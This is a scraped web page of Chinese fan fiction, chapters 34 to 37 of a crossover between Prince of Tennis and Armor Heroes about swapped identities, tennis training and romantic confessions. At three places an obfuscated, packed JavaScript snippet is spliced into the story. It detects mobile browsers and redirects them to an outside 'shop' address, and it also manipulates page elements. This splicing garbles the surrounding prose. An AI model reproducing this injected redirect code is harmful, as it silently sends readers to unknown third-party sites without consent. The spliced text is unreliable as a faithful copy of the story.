;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334662|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前拿出自己的球拍,握在手里转圈抛接:“你说过,赢球不是关键。别忘了,我是挨打长大的。‘真金’要‘火炼’,才会越来越强。” “借口。”北淼握拳伸到西钊面前,“可别输得太惨啊,‘大石’。” 西钊抬手与北淼碰拳:“借你吉言,‘国光’。” ———— 与龙马的比赛西钊输得毫无悬念,0:5完败。 当然,这个比分在西钊意料之中,因为刚才看龙马和北淼的比赛就知道龙马的球技非常厉害,不管是他们资料里的“外旋发球”和“二刀流”,还是其他没见过的招式都有。他这个在此之前连拍子都没拿过的人能接住龙马的球全靠所谓“战士”的体能、反应速度以及本能预判。 他不像北淼,拥有很好的“球感”,他对网球的理解更加纯粹:在规则内接到对方的球、并打出对方接不到的球。因此,正如他把球拍比作“武器”,他会将对手看做战场的“敌人”,而网球就是敌人发起的“攻击”、也是他的“反击”。西钊不知道自己是不是唯一把打球当成打架的家伙,但这个方法对他很有效,他不需要思考过多他不明白的网球策略,而是运用自己熟悉的格斗战术弥补这一空缺。当然,他还需要好好练习,第一次实战就遇上龙马这样的强敌,属实有些难为他这个“小白”了。 接下来就是力量型的队员:何春龙。 西钊知道何春龙有伤,因此他打算这局转攻为守,尽量不刺激何春龙使出更强力的“波动球”。但何春龙在第一个球就发动了猛攻,极具力量感的网球撞击在西钊的球拍上。如果是普通人,说不定需要积蓄一段时间才能以相同的力量回击,或者直接被打到球拍脱手。但现在,握拍的可不是普通人。这个力道对西钊来说要比流星枪与震雷斧相冲的撞击力小得多。几乎是接到球的瞬间,西钊就将它以更大的力量打了回去,并且因为西钊击球的角度不够熟练,这个球意外地变成了轨道怪异的“曲线球”,最终落在网前,让何春龙用力挥拍的动作甩了个空。 手感不错。西钊掂量着手里轻飘飘的网球拍,习惯性地将网球拍换到了左手。他记得龙马和钟国光都曾用过这种打法,既然球拍是“武器”,那么能用好震雷棍的他自然也可以试试所谓“二刀流”。 第二个球前几个来回,西钊每一次回球都会换一边手,不管再大力量的进攻他都能顺利防守。果然,比只用一边还要顺手。其实西钊自己都不知道他的“西钊式二刀流”标不标准,但既然要的是结果,那只要不犯规、不打到对手身上,怎么赢都是赢。 迎接何春龙的第二个波动球时,西钊考虑到何春龙会往打过去的球上面叠加自己的力量,从而加重手臂肌肉的负担,因此他打算将球泄力,这样不管何春龙接不接得到情况都是有利的。于是西钊想起了“石毅”的代表性球技:月亮截击。面对几乎只能硬碰硬破解的波动球,西钊一边在心里对球拍说了声“对不住了”,一边根据记忆里的比赛回放,将球拍抵在地面拖行一段距离,待拍网前端正面迎上卷着气流甚至在发红的网球,西钊提臂上挑,计划打一个“像月亮弧线”的中高吊球,按角度应该会落在后场底线的死角,结果…… “球、球呢?”裁判席的鞠万眯着眼睛探头探脑地看着天上的太阳,半天没瞅见网球的影子。 完了。西钊也跟着往天上看,意识到自己没把何春龙那一记球本来的力道算进去,他刚刚可是拿出了用震雷斧砍人的力量甩动手臂的,这下不知道什么时候球才会落地了。不对,球还在不在都是个问题。 正当一众人都望着天空,陷入尴尬的沉默时,一个黄色球体以极快的速度坠落,最终,“如愿以偿”地在何春龙身后的场地死角落下,再次弹起时,高度正好越过网球场的围栏,滚得老远,像个受到惊吓的兔子落荒而逃。 西钊还不知道怎么圆这个完全不像是正常人能打出的球,鞠万激动的一声“2:0”把他吓得回过神。面对何春龙只能用震惊来形容的表情,西钊只能硬着头皮做好继续比赛的准备,这是北淼的主意,实在不行就都扔给他处理吧,他比我会编。 再度开局之后西钊就收敛了很多,比起直截了当的攻击,他一直在用“西钊式二刀流”进行防守。何春龙的波动球对他来说就和普通的击球没什么区别,但他因为回球时常常判断不出来球的速度,总是在紧接着波动球的普通球上一拍出界,也因此以2:3结束了这场让所有人都开了眼界的比赛。 ———— 在周助和西钊打得有来有回时,龙马离开座位,找到坐在最远的椅子上看比赛的“国光”。他坐在椅子的另一边,手肘随意搭在膝上,瞥了一眼隔壁专注的“国光”,又将视线挪回。 “队长和大石、在决赛之前还会回来吗?”龙马淡淡地问,该直接的时候他向来很直接。 北淼被问住了。他惊讶地转头看向这个队伍里唯一的大一新生,扯出一个尴尬的笑容:“龙马,你在说什么?” “你们和他们比,还差得远呢。”龙马抬手压了压帽檐,语气有些冷淡,但听不出恶意和敌意,“演技太差了。” “……”眼看装不下去,北淼定定地注视龙马一会儿,最终叹口气,“老实说,我不知道。但在那之前,既然莫名其妙做了队长,就要担起这个责任,不能让你们的努力全都付之东流。他也是这么想的,或者说,他被我说服了。” “我不理解。”龙马皱起眉困惑地望向这个他并不知道真名的“钟国光”,“没有人要求你们做这些。没人知道你们会让队伍更坏还是更好。” 北淼正要说什么,他忽然感知到后方球场有一股强烈的气旋,伴随着队员们的惊呼向他们的方向袭来。北淼抬手,在网球砸到龙马面门之前泄力接住了它,将其稳稳抓在手中。他松开手,让网球自由落体,随即轻哼道: “看着吧。我们、会让青学赢得最后的胜利。” ———— “刚、刚刚那是……”场外,陶成武看向依旧维持击球姿势的“大石”,嘴都快合不上了。 “是‘白鲸’。”钱真智握着笔的手都在微微颤抖,极力让自己听上去足够冷静,“虽然轨道偏了,但球的落点还在场内。不借助风力、单纯靠旋球产生的气流和力量,大石到底是怎么做到的……” 钱真智看着尴尬微笑的“大石”、抓狂输出的鞠万,以及同样感到意外、眼神却意味深长的周助,又想起龙马方才的话。 “我觉得现在你应该在意一下。” 难道…… 钱真智转头望向远处接住“白鲸”的“国光”,微微皱起眉。 TBC 35. 穿越时空的红线 石毅再度睁开眼时,一颗网球以极快的速度从他脸侧呼啸而过,吓得他僵直身子不敢动弹。他发现自己来到了熟悉的青学网球场,而他就站在场地之中。周围空无一人,安静得过分,唯有球网对面站着一个镜像般的身影,因为石毅的到来停下手中的动作。 “镜中人”似乎歪了歪脑袋,拿着网球拍慢慢朝他走过来,直至他们面对面。石毅想,这也许就是美真他们提到的、他和国光在这个世界所占据的角色之一:西钊。即使不知道西钊“铠甲勇士”的身份,石毅也能感觉到这个人有一种刚柔并济的强大气场,看似亲和温柔,却也暗藏锐利和危险,并非所谓等闲之辈。得出这些结论的石毅第一反应居然是“让这样的人上场打网球真的没问题吗”,连石毅自己都为这个念头惊讶了一下。 “你是……石毅?”西钊微微眯起眼睛,不太确定地朝石毅问道。 石毅赶忙从自己的思绪中回神,点点头,看向西钊手中的球拍,无奈又歉意地笑了笑:“叫我大石就好。你就是西钊吧,抱歉,青学正处在决赛前的关键期,肯定给你们添了不少麻烦。” 西钊低头也看看球拍,哭笑不得地轻笑一声:“说什么呢,明明是我和北淼给青学网球队添乱了。北淼还好,但我在这之前、根本没有打过网球。” “那……鞠万还好吗?”石毅担心地问。 “放心,他很好,已经出院了。我和他换了床位,他在下铺会方便一些,虽然平常还是得用拐杖。他不能上场,何春龙也有伤在身,我和北淼在争取补位双打一。不然……” “不然青学就会因为凑不出人弃权了。” 他们不约而同地叹口气,在场地旁边的长椅上坐下。有趣的是,西钊穿着青学网球队的队服,而石毅穿着西钊行李箱里随意挑的常服,乍一看几乎分辨不出各自的角色。 两人安静坐了一会儿后,西钊忽然说:“我想问你一个问题,大石。如果你觉得这个问题很奇怪,就当我没问过。” “没关系,你问吧。” “你是怎么来到这里的?”西钊对于梦境里出现的违和感经验已经非常丰富了,自然能分辨出这个“石毅”其实不属于他梦境的一部分,而是某种介入他潜意识的高维存在。如果他的猜测没错,石毅和钟国光应该已经—— “是你们的指挥官,美真,带我进来的。原理我听不太明白,大概是脑电波、潜意识之类的,我在的地方叫‘虚拟战斗室’。” ——西钊猜对了。石毅和钟国光已经联系上美真,并且通过虚拟战斗室系统找到了与另一个世界构建联系的方法。 西钊顺着石毅的话接着问:“美真有没有提到、怎么才能让一切回到正轨吗?” 石毅点了点头,但眼里依旧充满迷茫:“美真姐猜测,我们之所以能互换,是因为‘在同一时间、同一地点、大脑受到相同的刺激’。所以要换回来,就需要相同的前提条件。但我们还不知道怎么做,只能通过这种方式先看看另一个世界现在是什么情况。” “总不能、让我们再被车撞一次吧。”西钊笑着调侃,把石毅也逗笑了。 “那可不行,要是这个方法行不通,青学就真的一点希望都没有了。我和国光……我和队长,会尽快找到更合适的方法,在那之前,虽然很不甘心,但我们得做好最坏的打算。” “让青学弃权吗?” “当然不是。”石毅玩笑似的抬手拍拍西钊的肩膀,“这么重要的比赛,我想任谁都想亲自上场。要是在比赛之前,我和队长还是没能回去,比起弃权、这样的‘错过’反而更让人觉得不甘心啊。” 西钊虽然知道石毅在和他说玩笑话,但他不难听出石毅语气里的遗憾和失落。也许网球对西钊和北淼来说只是“一次性”的责任,更像是为了一次结果临阵磨枪;但它的意义对于石毅、对于钟国光和整个青学网球队而言也许远远不止于此。仅仅一两天,西钊就感受到了队伍中那份将所有人紧紧黏合在一起的集体荣誉感,和五副铠甲的“结”一样坚不可摧。 西钊忽然觉得,他把网球场当做战场的理念虽然没有错,但他似乎没有把自己扮演的“石毅”当作队伍的一员。他只是单纯地打算赢球而已。看来,就算球技真的有所提升,他和真正的“石毅”,还差得远呢。 “说起来,我看你刚刚那一球……力度还不错。挥拍的动作也不像是初学者。”石毅若有所思地看着方才球飞出去的方向,又转回头与西钊对视。 西钊笑着低下头,将球拍竖在地上转着圈:“是吗?我很擅长学习和模仿。为了让我尽快适应网球,北淼以队长的身份,让我和其他队员进行计分的对练,并且要求队员们使用自己的特技。” “这是个很好的方法,只是我有些担心、鞠万和真智会看出端倪。对练的结果怎么样?” “我一场都没赢。”西钊自嘲地耸了耸肩,将球拍在手中如短棍一般随意抛接,像是在耍杂技,“尽管我能模仿出不少他们的招式,也能够用双手接发球,但仅仅是这样远远不够。每一次、我尝试使用他们的招式回击,球的轨迹都不在我的意料之内。我总是莫名其妙得分、莫名其妙失分,发挥很不稳定。北淼他……很想帮你们拿下比赛,但以我这样的状态,似乎有些困难。比如你的‘月亮截击’,我没控制好力度和角度,结果、球直直飞到天上,好一会儿才掉下来。还有周助的‘白鲸’,虽然、我打出了和它相近的轨迹,但因为力量太大、挥拍动作也不对,导致它飞出场外,差点砸到龙马。” 石毅听到自己的得意技被这么玩出了花,眼里闪过一丝惊讶。他垂眸看着西钊的球拍沉默片刻,伸手将球拍拿到自己手里,站起身朝西钊歪歪脑袋:“来,我教你。” ———— 等石毅出来、听完他的讲解之后,钟国光以为,如果自己能成功进入北淼的潜意识,或许也会在青学的网球场内。但等他睁开眼,却发现自己身在一处空厂房的二楼,靠近露天阳台的地方。那个与他有着相同样貌的人正侧着身倚靠在阳台的围栏边,身上的青学网球队队服与周围的环境相比十分违和。他单手扶着围栏望着下方,看上去并没有注意到钟国光的到来。 北淼每次梦到自己不认识的地方,都会猜想这是不是西钊某段记忆的碎片。虽然他们梦境共感的链接早已消失,但曾经灵魂相通的经历似乎让他们的记忆也相互交织在一起。平日里觉察不到、也回想不起,只有在让大脑陷入潜意识的梦境里才会有所体现。 这是一个空厂房。北淼想起坤中给自己打电话为西钊求情的那一次,坤中就是从某个空厂房回来的,他还说,自己被异能兽围攻的时候,亲眼看到界王在二楼用鞭子抽打西钊。 北淼眼前的场景似乎随着他的思绪有了些许变化,地虎铠甲和异能兽激战的半透明影子出现在楼下,身后也突兀地传来鞭子抽打在皮肉上的响声,以及西钊痛苦的呻吟。 北淼即刻转身查看,却找不到他想看到的那个人。空荡的厂房里,只有“一面镜子”。这种事他也是见多了,大概又是哪个世界的他来自己梦里串门吧。宇宙还真是个比西钊的心更难懂的东西。他调整好自己的状态和仪表朝那个穿着自己便衣的家伙走去,方才因西钊而动摇一瞬的模样此刻已完全消失不见。 “想必你就是钟国光,久仰大名。”北淼在看到那副眼镜时就知道面前人是青学网球队的正牌队长。他伸出手,礼貌地微笑。 钟国光低低“嗯”了一声,与北淼握手,回以同样礼节性的笑容:“你是北淼吧,幸会。这段时间,我的队员有劳你照顾了。” “我哪比得上你呢?”北淼不太喜欢空厂房内传来的回声,于是做了个请的手势,一边领钟国光往楼梯口的小阳台方向走,一边直截了当地问道,“好了,你我都是明白人,过气的客套话就不必多说了。你那边的世界、现在是什么情况?” 钟国光抬手扶了扶眼镜,并未像北淼一样重新倚靠着围栏,只是在他身边站得笔直。身上的皮衣和休闲下装让他看上去像个穿叛逆哥哥衣服的三好学生弟弟。只听钟国光一本正经地解释道:“我们在医院遇到你们的朋友小嵩之后,他带我们去见了美真。由于脑电波相近,美真利用你们的‘虚拟战斗室系统’让大石和我能够进入西钊和你的潜意识。美真推测,我们互换是由于‘在同一时间、同一地点,受到同样的刺激’导致,因此,再次互换可能需要相同条件。” 原来如此,是美真在操作,而不是他们梦境连通。北淼的食指无声地敲击围栏生锈的铁杆,暗地里松了口气。共享梦境这种事,他只接受西钊一个人这么做。 他朝钟国光点点头以示回应,视线看向刚刚还出现战斗残影的地方:“假设这个理论是正确的,首先,我们不知道彼此的时间是不是同步的;其次,我们没办法判断所谓‘同一地点’的精度要求;最后,这个‘刺激’是什么,我们也一无所知。不过、既然两个世界能通过这种方式搭起‘独木桥’,那就一定能铺出人能走的‘路’。让美真和东杉再想想办法。” 钟国光没有马上回复北淼的话,他转身面向围栏,双手轻轻搭在上面,没有在任何事物上聚焦的目光满是惆怅。他开口,却是一个北淼意料之外的话题:“北淼,青学和立海大的决赛,你和西钊双打一,有把握赢吗?” “有。”北淼瞥一眼身旁的钟国光,答得很干脆,随即轻哼一声,调侃道,“怎么,还没开始努力,就想着最坏的结果了?” “青学网球队已经是一支成熟的队伍了,就算没有我和大石,只要向着共同的目标团结一心,一定可以克服所有困难。但这次鞠万出事,能补位的只有我和小龙。考虑到我的伤势,教练估计不会让我上场。小龙……我担心他又在场上拼命,我们也没法给他父亲一个交代。青学第一次打进华东大赛,我不想就这么放弃。虽然不甘心、也觉得这样对其他人有些不公平,但……”钟国光没有说完后半句,闭上眼叹了口气。 “‘如果是你们两个,说不定有希望’,你是这么想的吧,钟国光?”北淼语气平淡地拆穿,补全了钟国光没能说出口的后话。接着,他转身面向钟国光说道,“教练那边、我已经搞定了。我和西钊会作为双打一上场。但是,钟国光,我话说在前头,你要真觉得青学是个好队伍,那就当双打一单纯是个凑数的,别想着把这一分记在我们头上。与其相信‘场外援助’,不如相信你自己的队员。我以为,身为队长的你,对这个道理再清楚不过。” 北淼的话让钟国光醍醐灌顶。是啊,既然补位的事北淼已经帮他们解决了,作为队长,他应该给予队员鼓励和信任,双打一让人一分,还有另外四分可以争取。虽然这样的话他和大石……主要是大石,没能亲自上场有些遗憾,但只要赢得华东大赛,他们还是可以在接下来的全国比赛上大展身手的。北淼说得对,太过执着于那一分,反倒是对其他队员的不信任。 “看来,在领队这方面,我还需要向你多请教请教。”方才的焦虑与不安就这么被驱散,钟国光自觉惭愧地看向北淼,嘴角微扬。 “这你就别抬举我了。我和你比起来,还差得远呢。”北淼抬手轻轻拍了拍钟国光的肩膀。 “这是龙马的口头禅。” “这小子,在我们互换的第一天就发现了。好在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334663|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还没告诉其他人,但钱真智已经起了疑心。”北淼耸耸肩,半个身子又靠回围栏上,漫不经心道,“也许是我和西钊在对练的时候做得太过了。龙马也说,我们的演技很差。” “对练?”钟国光微微皱眉,有些好奇,“你们、也会打网球吗?” 北淼移开视线“呃”了一声:“我会一点,西钊不会。不过你也知道,我们不是普通人。你的零式削球和陈海棠的蛇球对我来说不难,难的其实是控制力道。我的铠甲是重装,用惯了长枪、换上拍子,难免会……”北淼抬手心虚地搔搔鼻尖,“……不尽人意。所以后来的一场对练,我就闭着眼睛打了。字面意思。至于西钊,他模仿得很快,但不会运用,经常打出连他自己都匪夷所思的球。他力气太大了,有几个球要么上天一时半会儿下不来,要么飞出场外变成杀伤力武器。” “……” 请问,北淼兄,你这让我和大石回去之后怎么圆? 钟国光一言难尽地挪开目光,弯腰伏在栏杆上长长叹口气,居然有些想笑。大概是因为人无语的时候真的会笑出来吧:“真不知道你是怎么让教练同意‘钟国光’参加比赛的……” “因为教练知道。” “……什么意思?” “我带教练去医院,让她看我完成一系列检查,用客观事实告诉她事情的原委。并且,”北淼以相同的姿势伏着栏杆,偏头瞥一眼钟国光,“刚刚跟你说的那番话,我也跟教练说了。我和西钊只是补缺的工具,虽然我们会全力以赴,但要想真正意义上赢得比赛,最终靠的还是青学自己。她非常认同这个观点,所以——”北淼摊开手,耸耸肩,省略了后话。 钟国光注视着北淼许久许久,似乎有很多话可以说,也似乎有很多话想说,但最后组成的词句,只有一声:“……谢谢。” ———— “我可以问问……你们是怎么在一起的吗?”训练中途休息时,石毅忽然问。 西钊歪头望向灰蒙蒙的天空,没什么表情:“……不知道。等我读懂自己心里在想什么的时候,已经和他在一起了。” 石毅低下头,看上去有些失落,随意捡起一个网球准备往对面打:“这样啊……” “你们也在交往?” 西钊此话一出,石毅一个手滑,球拐着弯就往西钊脸上过去了。西钊眼睛都没从天上挪开,抬手接住网球,有些困惑地看向满脸歉意跑过来问他有没有事的石毅。 “我没事。”西钊摇摇头,柔和了表情,“你怎么了?” “……没什么。我们没在交往。只是我一厢情愿。” “但你能看清自己的内心,知道自己想要什么。这很好。”西钊虽然语气平静,但说得很真诚。 石毅端详着手里的网球拍,苦笑道:“那又怎么样?我和他没有结果。” “……我从小在影界长大,认识他们之前,没有体会过人类世界的牵绊。即使到了现在,就算拥有朋友和恋人,我也时常会觉得,人与人之间的关系和感情太过复杂,难以理解。但至少,我明白一件事。”西钊抬起手覆上石毅的握着网球拍的手背,语气异常坚定,“如果认定那是自己想要的,就不计代价、不留遗憾地争取;如果抓住了,就绝对、绝对不要放开手。” 硬要说的话,这大概就是“你们是怎么在一起的”这个问题的答案了吧。西钊看着和他年岁相近的石毅,不自觉地露出了笑容。 ———— “你其实可以直接问他。” 北淼倚在围栏上的姿势都够拍成一本写真集了。他们也不知道为什么话题聊着聊着就聊到了“队长如何追求有心选的副队长”上。 “你对他也是这样吗?”钟国光懊恼地握着双手不停揉搓,“直接问他的心上人是谁,我觉得不礼貌。” “我和他之间……很复杂。没什么参考价值。”北淼轻描淡写地一笔带过,“这有什么?既然、你们还是兄弟,这种事就该拿出来分享。你就当帮他解决烦恼。你这个当队长的,帮副队长排忧解难有什么问题?” 钟国光摘下眼镜,捏了捏眉心:“他从没跟我提过感情方面的事。我怕影响他比赛。” “那正好,现在没有比赛。你们没谈拢之前,也别回来了。那帮毛头小子就让我和西钊暂时帮你们看着。” “你这是强人所难。”钟国光戴上眼镜,无奈笑笑。 “就算你打算单恋到底,至少也把他心里那个人套出来。你也的确想知道,别不承认。” “……好吧,我会找他谈谈的。” 北淼看着这个和他有着一张脸却在感情上摇摆不定的队长,恨不得把他按在石毅面前说“你们队长很中意你”。要知道,他和西钊如果早点知道自己和对方心里怎么想,还有那丑将什么事?都到这份上了,不勇敢一点难道等毕业吗? 北淼满脸写着“恨铁不成钢”,沉声叹了口气。 TBC ※一些OOC剧外: 国光:(脸色难看)这两个超人打出来的功夫网球让我怎么圆我请问。 大石:(给队长顺毛)肾上腺素、肾上腺素……万能的肾上腺素…… 西钊:对不起。 北淼:(抱臂目移)道什么歉,我们这叫给青学脸上贴金。 国光:……谢谢,这个“金”太贵重,我们要不起。 北淼:?(误以为在说西钊)你几个意思你骂谁呢? 国光:? 大石:好了好了别吵了……(拉架) 西钊:……(理解北淼为什么生气,觉得很蠢,于是选择沉默看戏) 36. 终成眷属 自那天对练结束之后,北淼和西钊商量了很久,还是决定将真实情况告诉钱真智。一来,是考虑到他们在“数据网球”高手的眼里更容易暴露;二来,钱真智手里有所有队员——包括钟国光和石毅——的所有数据,同时也是制定训练计划的负责人,信息共享对他们“临时抱佛脚”更有利。 二人约钱真智单独在网球场见面。依赖数据的钱真智一开始只是有些动摇,但再次与北淼西钊二人对练几个球之后,面对板上钉钉的数据,他才终于接受面前人不是队长和大石的现实。 于是,针对北淼的超强体能、技能模仿和身体灵活性,以及西钊绝佳的击球速度、力度和随机应变能力,钱真智为他们制定了全新的特训计划,能够让他们在接下来几天内迅速适应“正常人”网球的打法。 钱真智强调,以他们的反应能力,只要对手球路不是太夸张,一般都能接到,重要的是他们自己的发球和接发球不失误。并且,正因为北淼西钊不是普通人,且总有一天钟国光和石毅会回归队伍,所以哪怕不在赛场上,即使是平时训练,他们也不能够做出“超越人类极限”的行为——至少别超出他记录里钟国光和石毅能做到的最高数值。 两人相视一笑,朝钱真智点点头。 临走之前,钱真智忽然推了推眼镜,皱起眉不太确定地问:“冒昧问一下。北淼、西钊,你们是……什么关系?” 北淼望向西钊,试图征求他的意见。但西钊似乎不知道该怎么说出口,毕竟一开始也是北淼要求他“谨慎行事”。但现在情况不同,北淼想,既然钱真智已经知道他们的真实身份,那他们的关系也没有隐瞒的理由。或者说,被西钊压着低调惯了,北淼偶尔也忍不住想炫耀一下。 “如你所见。”北淼极具违和感地从青学网球队队服裤袋里拿出一枚白色的戒指戴上无名指,又伸手绕过西钊的细腰并趁机缩短他们之间的距离,接着,北淼从西钊另一侧裤袋中拿出一枚同款的黑色戒指,熟练地为西钊戴上,“我们是这种关系。” “……“ 钱真智的手依然扶着镜框愣在原地,他一时间不知道是该后悔问出这个问题,还是该庆幸那天晚上在长椅上接吻的不是队长和大石。他握拳遮住口鼻轻咳一声,“原来是这样。不过,为了不影响大家的比赛状态,还是建议你们以普通身份相处。” “我们明白。”西钊应得很快,微笑颔首。 北淼发现,“接受建议/计划甚至是指令”的西钊永远是最干脆利落的,和平日里不善决策的家伙判若两人。这大概是影界二把手的后遗症吧。虽然心里有些不是滋味,但北淼转念一想,在其他方面“听话”,也未必是一件坏事。看着把戒指小心翼翼摘下来收好的西钊,北淼的心思不知飘到了哪里去。 ———— 四人的“互换”算起来已经过了快一个星期,ERP实验室依旧没有多少进展。他们开始慢慢习惯在另一个世界生活的日子。 钟国光和石毅并不想麻烦北淼的妹妹小雪,因此和石毅选择在便宜的小旅馆暂住。他们每天几乎都泡在附近最大的网球俱乐部里,虽然拍子用不习惯,但能做些基础训练,避免自己技术生疏。 钟国光不止一次想找石毅谈谈关于心上人的问题,但每次石毅都打哈哈式地避重就轻,从未正面回答过钟国光,这让他很是挫败。 终于有一天,钟国光就这么注视着在室内场地上练习发球的石毅许久许久,他想,不能再拖下去了。 他走到石毅对面,轻松地将其中一个发球打了回去。石毅一惊,呆愣的看着球在自己脚边弹起。 “队长?” 因为钟国光的伤,石毅一直不同意他和自己对练,用“代理队长”的口吻只让他做康复训练。面对突然摆出发球起手式的钟国光,石毅几乎是下意识想跑过去打算先检查他的伤情,结果被钟国光比自己严厉了不知多少倍的语气硬生生定在原地。 “我的手没关系。大石,我们来比一场,三局定胜负。”钟国光右手*抬起,球拍在手中转了转,“如果你输了,就告诉我那个问题的答案;如果你赢了,你也可以问我一个问题。” (*《加油!网球王子》中,设定钟国光受伤的是右手,而不是原著里手冢国光的左手,因为柏栩栩不是左撇子) “队长……”他们的队长什么时候这么孩子气了,面对打破砂锅问到底的钟国光,石毅有些哭笑不得,既是无奈、又是担忧,“我不会跟你打的。如果影响到你的伤,你让我回去怎么和教练还有大家交待?” 钟国光并未因此放弃,只是将球拍从右手换到了左手:“好。那我就用左手。” “……” 好吧,他倒是没想起来国光和龙马一样双手都能打球。 这回石毅沉默了很久。论双打,他或许还有些底气;论单打……也不是说他很差劲,但对面是他们的国光队长——那可是青学单打第一的钟国光啊!队长就这么想知道“你喜欢的人是谁”这个问题的答案吗?为什么?难道是因为陶成武喜欢外校的杏,队长担心他也会在比赛里受情绪影响?可是就算他喜欢国光,也没…… “大石。”钟国光温和下来的声音将发呆的石毅从混乱的思绪里拉出来,“放松。就当是帮我一个忙,陪我练练手,好么?” 太犯规了,这让他怎么拒绝。石毅球拍撑地,双手覆在握柄上埋起脑袋叹了口气。他抬头,调整好姿势,朝钟国光无奈苦笑:“……好吧,谁让你是队长呢。”谁让你是钟国光呢。 ———— 老实说,虽然知道大石会因为忌惮自己的手伤而发挥不出全部实力,但钟国光还是没想到这场对练会以2:0结束,连第三局都省了。钟国光从没见过大石在训练或者比赛上这么紧张。印象里,大石一直都是队伍中最稳重、情绪最稳定的那个。刚刚有好几个球都不是他应该犯的错误。 钟国光绕过球网,走到坐在地上有些泄气的石毅身边,也跟着并排坐下。石毅盘着双腿,没有看向钟国光,手指插进拍网的空隙里随意整理。不知道为什么,钟国光觉得石毅看上去很难过。 那个问题的答案有那么重要吗?重要到连说出口也是一种折磨? 带着这样的疑问,钟国光低声道:“如果你真的不愿意说,我不会逼你的。对不起,给你带来这么大压力。” 石毅轻笑着摇摇头,将网球拍放在腿间,但依旧盯着地板:“道什么歉啊,队长。输了就是输了。我只是觉得……你不会喜欢这个答案而已。” “别擅自替我下定论。”钟国光的视线始终没有离开过石毅。他想,无论从大石口中说出的名字是谁,他对大石的心意都不会改变。至少此时此刻,他比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334664|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何时候都要坚信这一点。 石毅懊恼地摸了摸后脑勺,似乎在组织语言,脸颊有些发热,但他完全没心思顾及:“话是这么说,但不管是什么样的队长、被自己信任的副队长喜欢上,怎么说、也会觉得奇怪吧。大家还都是男人……就更奇怪了。所以、就当……就当我没说过这些!时间也不早了,我们回去吧,队长。” 石毅越说越小声、语速也越来越快,但钟国光一字不落地听得一清二楚。石毅话音刚落,就从地上迅速窜起来快步往放球包的地方走。 “大石!”钟国光眼疾手快跟着起身用力拽住石毅的胳膊。因为左手拿着球拍,钟国光伸出的右手由于突兀地拉伸受到了些刺激,让他忍不住倒吸一口凉气。 “??!!” 其实钟国光也没有觉得很疼,但这很有效地让石毅立即转身,惊慌和担忧毫不遮掩地写在脸上:“队长!怎么了?手还好吗?要不要去医院?我带了应急的药,先简单应付一下……” “叫我‘国光’。”钟国光没理会石毅的关心,打断他的后话、直直注视着他的双眼,也不知现在自己的表情到底是无奈还是欣慰,“……你已经很久没这么叫过我了。” 石毅微微睁大眼,像是被定格似的,愣愣地对上钟国光锐利得仿佛要将他看穿的目光。他张开一半的嘴又闭上,就这么重复了几次,最后才结结巴巴地说道:“国、国光。” “嗯。”钟国光的嘴角微微扬起,笑容浅淡,却莫名让人安心,“你说的这些,的确不合常理,也会给队伍带来不便。”钟国光在石毅露出方才那副低落神情之前淡然补充道,“但如果队长也对他们的副队长有着同样的想法,那么,我不认为这是一件坏事。” “队、国光……别开玩笑了。”同样的想法?队长也喜欢他?不可能吧。石毅觉得钟国光应该理解成了他和鞠万那种更为亲密的兄弟情谊,他也没那个脸面用更直白的话再说一次。石毅试图抽开自己的手,但钟国光却是握得更为用力。 “我不会拿这个开玩笑。如果你的答案是我,留下来、别走。因为我的答案是你,大石。” 钟国光的目光紧紧锁住石毅,没有一丝犹豫、也不为任何事物动摇。他的声音低沉却坚定,每个字都掷地有声,如同誓言一般不容反驳。 石毅感觉自己的大脑瞬间一片空白,所有的思绪都被抽离,只剩下“我的答案是你”在脑海中疯狂闪烁。他不得不努力让自己冷静下来,试图找回自己的声音:“我……” 此时,石毅终于渐渐感受到手臂传来的温度,他忽然想起,在潜意识的梦境里,西钊曾经对他说过的话:如果抓住了,就绝对、绝对不要放开手。 他已经抓住他了。 所以,他到底在犹豫什么? 钟国光看到,石毅震惊的表情逐渐缓和,变回了那个他所熟悉的既可靠又温柔的副队长。 只见石毅放下球拍,转过身,面对钟国光定定站好,伸手覆上钟国光的手背:“……在你的梦想实现之前,我哪里都不会去的,国光。” “是我们的梦想。” 钟国光松开手,给了石毅一个久违的拥抱。石毅抬起的手碰到钟国光的肩膀时,微微顿了一下,像是在确认什么,片刻后,才缓缓收紧。 他们抱得不深,却无比坚定。 TBC 37. 青学网球部婚礼 西钊隐约觉得今天网球队所有人看他的眼神都怪怪的,除了北淼。然而,自从北淼被陶成武和陈海棠拉走单独谈话之后,北淼看他的眼神也微妙了起来。 “怎么了?”西钊扯扯嘴角,有些好奇。 “没什么,觉得你好看。多看两眼。” 